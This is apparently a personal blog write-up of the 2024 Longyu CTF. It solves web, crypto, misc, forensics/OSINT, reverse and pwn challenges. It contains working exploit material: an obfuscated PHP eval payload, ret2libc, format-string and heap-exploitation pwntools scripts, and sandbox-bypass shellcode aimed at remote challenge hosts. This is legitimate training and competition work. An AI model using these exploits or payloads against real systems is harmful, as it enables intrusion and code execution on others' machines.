2024泷羽CTF Writeup

前言

国庆太闲了,随便打打。

RANK

Web

web-签到

查看网页源代码

shuangyuCTF-web1

$_SERVER[‘REMOTE_ADDR’]是我们的ip地址,那么直接本地跑一些密码生成逻辑获取一下密码即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

function generate_password($seed) {
// 初始化一些变量
$a = 1;
$b = 1;
$n = $seed;
// 斐波那契数列生成,但是有点特别
for ($i = 0; $i < $n; $i++) {
$temp = $a + $b + $i; // 注意这里的变种斐波那契
$a = $b;
$b = $temp;
}
// 将最后的斐波那契数作为密码的一部分
$password_part1 = $b;
// 还有一些其他的运算
$password_part2 = ($seed * $seed + $seed + 1) % 1000; // 这是一个二次函数模运算
// 密码是这两部分的组合,但是中间有一个固定的分隔符
$password = $password_part1 . '-' . $password_part2;
return $password;
}
$seed = "1.2.3.4" % 100; // 使用用户的IP地址作为种子, 改成你的ip
echo generate_password($seed);

Gscsed在线版

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
highlight_file(__FILE__);
//error_reporting(0);
include('flag.php');

$gt=$_GET['GT'];
$pt=$_POST['PT'];
$ggt=$_GET['GGT'];
$ppt=$_POST['PPT'];

$subgt=substr($flag,0,5);
$len=strlen($flag);
$subpt=substr($flag,$len-1,1);

if($pt==$subpt&&$gt==$subgt){
echo "进入下一层吧";
}else{
echo "你输啦";
}


function PTplus($pts)
{
if (preg_match('/(`|\$|a|s|e|p|require|include|phpinfo|exec|eval|systemctl|shell_exec|system)/i', $pts)) {
return false;
}else{
return true;
}
}
function GTplus($gts) {
if(strpos($gts, '***')){
return false;

}else{
return true;
}
}

if (PTplus($ppt)&&GTplus($ggt)){
eval($ppt);
echo "恭喜恭喜";
}else {
echo "再看看吧";
}

前面的一个判断用的是echo,不影响后面的执行,所以无视第一个判断。

第二个判断过滤了很多,但可以用取反绕过。

大概思路就是直接使用取反绕过进行代码执行,执行cat flag.php即可。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /123/?GGT=12 HTTP/1.1
Host: 82.157.178.108
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

PPT=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F);

CRYPTO

shuangyuCTF-AES & Base

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# ----请写出你的解题过程,得到flag---------
def decrypt(data, iv, key):
# 创建用于解密的AES对象
cipher2 = AES.new(key, AES.MODE_CBC, iv)
# 解密完成后,需要对数据进行取消填充,获取原来的数据
# pt = unpad(cipher2.decrypt(data), 16)
pt = cipher2.decrypt(data)
return pt

def h256(data):
hash_object = hashlib.sha256(data)
#print(hash_object.digest()[:8])
return hash_object.digest()[:8]

for sk in range(1000):
secret = secret_prefix + repr(sk).rjust(3,'0').encode()
secret = h256(secret)
dec_data = decrypt(encoded_item[16:], encoded_item[:16], fixed_key_part + secret)
if(b"flag" in dec_data):
print("解密后的数据:", dec_data)

At

1
2
3
4
5
6
7
#在控制台执行,执行报错
#发现是uozt{Mr_s@L_Z!!!}

# 埃特巴什码解密
# http://www.hiencode.com/atbash.html

# 注意大小写:flag{Ni_h@O_A!!!}

Base签到

base解码

XOR

1
2
3
4
5
6
7
8
9
flag = "zoyistheflag"
for kk in range(26):
for i in flag:
asciichar = ord(i)
print(chr(asciichar^kk),end='')
print("")

# 输出解密后的结果,请注意格式奥~.~
# flag{wbtd~yehkalj}

你真的喜欢CTF吗?

培根密码,注意flag格式 Flag{falgdoyoulikectf}

crypto2

直接放进浏览器控制台执行即可拿到flag

decode没有key

根据提示,rot13和base32.

实测,是rot13+字符反转+base32

最后再来个rot13

最终flag:flagishere

一元积分

百度搜,https://easylearn.baidu.com/edu-page/tiangong/questiondetail?id=1811656132685208395&fr=search

答案a=2

解压得到编码:RMbpoP9B1wmOMH8kLz9P0ml(I3v=

然后:

1
2
3
4
5
import base64

data = "RMbpoP9B1wmOMH8kLz9P0ml(I3v=".encode('utf-8')
a = base64.b85encode(data)
print(a)

flag{I_LOVE_susu}

MISC

诗词

提取图片看到尾部有zip,可以解压出来很多txt。

时间戳不一致,用python写一个时间戳获取脚本

得到flbhxxxxxxxxxx的flag

同时发现bh是ag的ascii+1。

所以再跑一边-1的过程

拿到了两个字符串,分别取其中一部分拿到flag

最后发现是出题人时间戳搞错了,乐。

longpy

图片里面包含了一个pyc。

用zsteg -E提取出来。

反编译代码然后执行一下,提示了github工具:

AngelKitty/stegosaurus: A steganography tool for embedding payloads within Python bytecode. (github.com)

使用工具对pyc进行-x操作拿到flag

1
./stegosaurus 1.pyc -x

命令执行结果

看过那年的雪吗?

原题:https://blog.csdn.net/2301_80185313/article/details/140865849#:~:text=%E5%8F%AF%E4%BB%A5%E7%9C%8B%E5%88%B0%E6%96%87%E6%9C%AC%E4%BC%BC%E4%B9%8E

1zrecover

打开压缩包,发现是png,010editorcheck没过,末尾有东西。

利用zsteg -E 提取出来。

发现末尾是KP,那么明显是PK的倒叙,利用脚本提取

1
2
3
4
5
with open('./data','rb') as f:
data = f.read()
dec = data[::-1]
with open('./dec_data','wb') as ww:
ww.write(dec)

提取完是压缩包,密码题目描述里面有,解压里面有flag.zip。

hint.txt提示我们00变成了11,那么一定是异或了

异或0x11即可:

1
2
3
4
5
6
7
with open('./flag.zip','rb') as f:
data = f.read()
dec = bytearray()
for i in data:
dec.append(i^0x11)
with open('./flag1.zip','wb') as ww:
ww.write(dec)

解压发现flag.jpg,末尾有base64,解码是9527

试了一下是outguess隐写

./outguess -k 9527 -r flag.jpg out.txt

打开txt即可拿到flag

flag{C0n9ratu1ati0ns!_you_are_so_cool}

1z_disk_decode

谜语解不出来,选择密码爆破,爆破出来密码是natasha。

image-20241002175650787

以下是出题人的补充,我自己酶解出来:

密码路径

打开其中的图片,翻到图片尾发现后面还有数据

提取: zsteg -E 'extradata:0' xxx.png > a.img

前面图片也提取出来作为密钥。

用veracrypt挂载4这个文件,提取出的图片作为密钥文件。

vera

之后访问挂载好的那个磁盘会发现存在一张图片

图片

发现图片高度似乎不对,修改图片高度,即可拿到flag

wu_kong

image-20241002151838265

more_hight

题目名字很明显,改高度。

FindSeed_MC

pcl启动器启动游戏,装上搜种子的mod:Releases · 19MisterX98/SeedcrackerX (github.com)

然后开挂跑图就行了,跑够了就会帮忙算种子

image-20241004155901423

5880616f80d73e086ec577d7ad21ef99

海尔之眼

自己没解出来,其他人解出来了:https://blog.csdn.net/aczhqq/article/details/142730872?spm=1001.2014.3001.5502

拿到题目两张图片
首先发现jpg后面有多余的数据,但是缺PKxxxx的zip头,导出后添加zip头

png那里主要是看010editor的预览图,注意要眯眼看

注意mi眼看

隐隐约约可以看到key:15740

key

然后使用silenteye解即可。

flag{h@r_X4_Ya2}

Forensics

shuangyuCTF-白小鱼

流量包里面有一个网站,xiaoyus.top:5000

可以看到一部分代码和upload接口。

有sql,但是无法注入,因为是预编译。

尝试了一下接口可以上传任意文件,同时呢,也可以目录穿越。

那么思路清晰,任意文件上传覆盖database.db

然后登录即可拿到flag。

image-20241001222027303

然后用用户a和对应密码登录即可。

签到

回复 网盾网络安全培训学校

好吃的可乐

发现图片里面 心型树,百度一下发现是 福建省福州市的三坊七巷

然后图片里面chag,应该是霸王茶几

搜到了:CHAGEE霸王茶姬(三坊七巷店)

地址在福建省福州市鼓楼区杨桥东路15-1号

base64(福建省福州市鼓楼区杨桥东路15-1号)

加上flag即可。

china

发现路边指示牌是繁体字,那么就是台湾省

里面有字,松竹xxx路

打开谷歌地图看附近的桥,发现海天桥

尝试:flag{台湾省台中市海天桥}

正确

Canada

地图上有道路指示,20号公路和138公路附近,且附近是一个机场。

在地图里面挨个看街景,结果在这里:

image-20241003162226734

45.43930779571188, -73.65014878349854

flag{e8e5a0a3a214bc2e393ad9aeb5aaecbb}

image

google搜图:

image-20241005142248664

点进文章,有提示:

1
2
3
 山手本通りの「イタリア山庭園前」バス停辺りから北北西を見ると、みなとみらい地区が真近に見える。JR根岸線では桜木町が最寄り駅である。今日は保土ヶ谷駅東口から山手ライナーと呼ばれる神奈中バスの路線バスに乗車し、山手町で降車した。山手ライナーの終点は桜木町駅である。しかし、その終点が本当に真近に見える。

从山手本通上的“意大利山庭园前”公交站附近向北北西方向望去,可以看到横滨港未来地区近在咫尺。JR 根岸线最近的站点是樱木町。今天我从保土谷站东口乘坐被称为山手 Liner 的神奈中巴士路线巴士,在山手町下车。山手 Liner 的终点站是樱木町站。然而,那个终点站真的近在眼前。

根据图片,是在红绿灯附近,找イタリア山庭園前 公交站附近的红绿灯

image-20241005142422457

就是这里:

35.435,139.645

Reverse

pyc

pyinstaller的图标,先提取代码,里面有1.pyc

然后对1.pyc反编译。

拿到代码逻辑之后,爆破flag字符即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import string

def check():
a = input("plz input your flag:")
c = [144, 163, 158, 177, 121, 39, 58, 58, 91, 111, 25, 158, 72, 53, 152,
78, 171, 12, 53, 105, 45, 12, 12, 53, 12, 171, 111, 91, 53,
152, 105, 45, 152, 144, 39, 171, 45, 91, 78, 45, 158, 8]
b = 179
# dsd
a = string.printable
# dssd
for j in range(42):
for i in range(len(a)):
if ord(a[i]) * 33 % b == c[j]:
print(a[i],end="")

# print("win")


check()

jeb

拿到代码之后,手写一个java执行获取flag即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;


public class Main {
public static void main(String[] args) {
String userName = "Tenshine";
try {
MessageDigest digest = MessageDigest.getInstance("MD5");
digest.reset();
digest.update(userName.getBytes());
byte[] bytes = digest.digest();
String hexstr = toHexString(bytes, "");
StringBuilder sb = new StringBuilder();
for (int i = 0; i < hexstr.length(); i += 2) {
sb.append(hexstr.charAt(i));
}
String userSN = sb.toString();
String bbb = new StringBuilder().append("flag{").append(userSN).append("}").toString();

System.out.println(bbb);
} catch(Exception e) {
}

}

private static String toHexString(byte[] bytes, String separator) {
StringBuilder hexString = new StringBuilder();
for (byte b : bytes) {
String hex = Integer.toHexString(b & 255);
if (hex.length() == 1) {
hexString.append('0');
}
hexString.append(hex).append(separator);
}
return hexString.toString();
}

}
# flag{bc72f242a6af3857}

re1

ida打开即有flag

百度一下,你就知道!

style.css里面有aes

image-20241002123832055

拿到密码

the_ultimate_password123

验证密码,下载文件:http://a.com:50062/password_checker_ZwXcLxTM.php

下载完进行upx -d,需要下载最新版才可以。

main函数有问题,第一个字节其实被换成retn了,本来应该是push ebp的,但是其实不影响分析showflag函数。

解密完分析showflag函数内容。

然后写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/python3
import string
l = string.printable

def showflag(l):
v3 = "666E6567837a6D7A736A5F7D6F858A5F868990897D00"
v3_bytes = bytearray().fromhex(v3)
print(v3_bytes)
# 检查输入字符串是否符合条件
for i in range(21):
for ll in l:
if i + (i ^ ord(ll)) == v3_bytes[i]:
print(ll,end="")
showflag(l)

PWN

pwn签到

题目描述:无

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
io = remote('ctf.54cto.com', 50267)
elf = ELF('./signin')

libc = ELF('./libc-2.27.so')
one_gadget = 0x4f302



puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
rdi_ret = 0x40071E
start_addr = 0x400620

print("========name========")
io.sendlineafter(b"name: ", b"jesen")
io.recvuntil(b"yourself: ")
print("========yourself========")
payload = b"a" * 24
io.sendline(payload)
io.recvuntil(b"a" * 24)
#io.interactive()
print("========leak canary========")
canary = u64(io.recv(8)) - 0x0a
print("canary=>" +hex(canary))
a = io.recvuntil(b"ing: ")
print("something:",a)
#"========leak libc_base========"
payload = b"a" * (0x20-8) + p64(canary) + b"a" * 8 + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(start_addr)
io.sendline(payload)
#a = io.recv()
#print(a)
puts_addr = u64(io.recv(8).ljust(8, b'\x00'))
print ("puts_addr=>" +hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
one_gadget = libc_base + one_gadget

io.sendlineafter(b"name: ", b"jesen")
io.recvuntil(b"yourself: ")
payload = b"a" * 24
io.sendline(payload)
io.recvuntil(b"a" * 24)
#io.interactive()
print("========leak canary========")
canary = u64(io.recv(8)) - 0x0a
print("canary=>" +hex(canary))
a = io.recvuntil(b"ing: ")
payload2=b"a" * 24 + p64(canary) + b"a" * 8 + p64(one_gadget)
io.sendline(payload2)
io.interactive()

sandbox

题目描述:不能execve怎么办? ——vrtua

沙箱,禁用了execve和orw

那么替代品:openat,mmap,writev

在网上随便找个shellcode用就行了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
p = remote('a.com', 50350)
#https://blog.csdn.net/llovewuzhengzi/article/details/140205290
context(log_level = 'info',arch = 'amd64')
shellcode = '''mov eax,0 '''
shellcode+='''
mov rdi,0
mov rsi,0x10
mov rdx,3
mov r10,0x22
mov r8,0xffffffff
mov r9,0
mov rax,0x9
syscall
mov rsp,rax
add rsp,24
push 0x67616c66

mov edi, 0xffffff9c
mov rsi, rsp
xor edx,edx
xor eax,eax
mov ax,0x101
syscall
mov rdi,0
mov rsi,0x100
mov rdx,1
mov r10,1
mov r8,3
mov r9,0
mov rax,0x9
syscall

push 0x40
push rax
mov rdi,0x1
mov rsi,rsp
mov rdx,1
mov rax,0x14
syscall
'''
payload=asm(shellcode)
p.sendline(payload)
a = p.recvuntil(b"}")
print(a)

真·签到

题目描述:这是真正的签到,觉得眼熟吗?——vrtua

大概就是/bin/c?t /????

ez_fmt

题目描述:你真的会格式化字符串吗 —— vrtua

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
#获取偏移
# def exec_fmt(payload):
# io = remote('a.com', 50885)
# io.recvuntil(b"string: \n")
# io.sendline(payload)
# info = io.recv()
# return info
# autofmt = FmtStr(exec_fmt)
# offset = autofmt.offset
# print("offset","=",offset)
#获取偏移
context(arch='amd64', log_level='info')
context(arch='amd64')
elf = ELF('./ez_fmt')
libc = ELF('./libc-2.27.so')
main_addr = 0x400657
#ld = ELF('./ld-2.31.so')
io = remote('a.com', 50885)
io.recvuntil(b"you: ")
read_addr = int(io.recv(14),16)
print("========read addr========")

print("read=>" +hex(read_addr))
libc_base = read_addr - libc.sym['read']
exit_hook = elf.got['exit']
print("exit=>" +hex(exit_hook))
#exit=>main
io.recvuntil(b"string: \n")
payload = fmtstr_payload(8,{exit_hook:main_addr},write_size='byte')
io.sendline(payload)
#printf => system
printf_addr = elf.got['printf']
system_addr = libc_base + libc.sym['system']
io.recvuntil(b"string: \n")
payload = fmtstr_payload(8,{printf_addr:system_addr},write_size='byte')
io.sendline(payload)
#开始执行代码
io.recvuntil(b"string: \n")
io.sendline(b"/bin/cat /flag")
print(io.recv())
io.close()

babyheap

题目描述:善良的出题人甚至留了backdoor在里面————vrtua

16.04

看出来突破口了,但是因为之前没怎么研究过pwn的堆相关东西,最终结束之前没做出来

libc地址可以考unsortedbin泄露

此外,size设为0的时候realloc可以当free用,然后利用uaf就可以。

img

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
binary = './babyheap'
libc = ELF('./libc-2.23')
elf = ELF(binary)
#io = process(binary)
io = remote('a.com', 50283)

def cmd(idx):
io.sendlineafter(b'choice: ', str(idx))

def add(idx, size, content=b'a'):
cmd(1)
io.sendlineafter(b':', str(idx))
io.sendlineafter(b':', str(size))
io.sendafter(b':', content)

def edit(idx, size, content):
cmd(2)
io.sendlineafter(b':', str(idx))
io.sendlineafter(b':', str(size))
io.sendafter(b':', content)

def show(idx):
cmd(4)
io.sendlineafter(b':', str(idx))

def free_uaf(idx):
cmd(2)
io.sendlineafter(b':', str(idx))
io.sendlineafter(b':', str(0))

def dele(idx):
cmd(3)
io.sendlineafter(b':', str(idx))

backdoor = 0x400926

add(0, 0x80)
add(1, 0x20)
add(2, 0x60)

free_uaf(2)
free_uaf(0)
show(0)

malloc_hook = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x68
libc_base = malloc_hook - libc.sym['__malloc_hook']
info(f'libc_base => {hex(libc_base)}')

payload = p64(malloc_hook - 0x23)
edit(2, 0x60, payload)

add(6, 0x60)
payload = b'A' * 0x13 + p64(backdoor)
add(7, 0x60, payload)

# add(9, 8)
cmd(1)
io.sendlineafter(b':', str(9))
io.sendlineafter(b':', str(8))

# gdb.attach(io)
io.interactive()

babyheap-revenge

题目描述:经过上次的失败,开发者将程序进行了升级,这使它更加牢固(也可能更脆弱了)——vrtua

有佬打io,也有佬打atoi的got~

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *

context.log_level = 'info'
context.arch = 'amd64'
binary = './babyheap_revenge'
libc = ELF('libc.so.6')
libc = ELF('libc6_2.23-0ubuntu11.2_amd64.so')
elf = ELF(binary)
#io = process(binary)
io = remote('a.com', 50676)

def cmd(idx):
io.sendlineafter(b'choice: ', str(idx))

def add(idx, size, content=b'a'):
cmd(1)
io.sendlineafter(b':', str(idx))
io.sendlineafter(b':', str(size))
io.sendafter(b':', content)

def edit(idx, content):
cmd(2)
io.sendlineafter(b':', str(idx))
io.sendafter(b':', content)

def show(idx):
cmd(4)
io.sendlineafter(b':', str(idx))

def dele(idx):
cmd(3)
io.sendlineafter(b':', str(idx))

add(0, 0x18) # 0
add(1, 0x10) # 1
add(2, 0x50) # 2
add(3, 0x40) # 3
add(4, 0x60) # 4

payload = b'a' * 0x10 + p64(0x20) + p8(0x91)
edit(0, payload)
payload = p64(0xa0) + p64(0x41)
edit(3, payload)
dele(1)
add(0, 0x10)
show(2)
malloc_hook = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x68
libc_base = malloc_hook - libc.sym['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
IO_list_all = libc_base + libc.sym['_IO_list_all']
system = libc_base + libc.sym['system']
info('libc_base => ' + hex(libc_base))

add(5, 0x60)
dele(4)
dele(5)
show(2)
io.recvuntil(b'2: ')
heap_base = u64(io.recvline()[:-1].ljust(8, b'\x00')) & 0xfffffffff000
info('heap_base => ' + hex(heap_base))

add(0, 0x18) # 0
add(1, 0x10) # 1
add(2, 0x50) # 2
add(3, 0x40) # 3
add(4, 0x60) # 4

payload = b'a' * 0x10 + p64(0x20) + p8(0x91)
edit(0, payload)
payload = p64(0xa0) + p64(0x41)
edit(3, payload)
dele(1)
add(0, 0x10)
add(0, 0x60)
add(0, 0x20)

payload = b'a' * 0x20
fake_file = b'/bin/sh\x00' + p64(0x61)
fake_file += p64(0) + p64(IO_list_all - 0x10)
fake_file += p64(0) + p64(1) # _IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0, b'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base + 0x738)
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
edit(2, payload)

cmd(1)
io.sendlineafter(b':', str(1))
io.sendlineafter(b':', str(0x80))

io.interactive()

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!